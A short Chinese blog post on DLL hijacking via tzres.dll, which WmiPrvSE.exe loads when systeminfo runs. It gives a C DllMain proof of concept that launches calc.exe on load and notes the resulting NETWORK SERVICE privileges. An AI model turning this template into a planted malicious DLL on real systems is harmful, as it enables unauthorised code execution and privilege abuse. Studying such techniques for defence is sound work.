admin 管理员组

文章数量: 1184232

在执行systeminfo命令时，systeminfo.exe内部通过wmi和LPC的方式获取数据，WmiPrvse.exe在执行实际操作时会去加载tzres.dll 

#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc.exe");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

由于WmiPrvSE.exe是NETWORK SERVICE权限，所以被创建的子进程都继承了这个权限。

本文标签： 劫持 系统 编程

版权声明：本文标题：系统信息、WMI预SE、DLL劫持：从_tzres.dll看其内在联系 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://www.roclinux.cn/b/1773374111a3561210.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。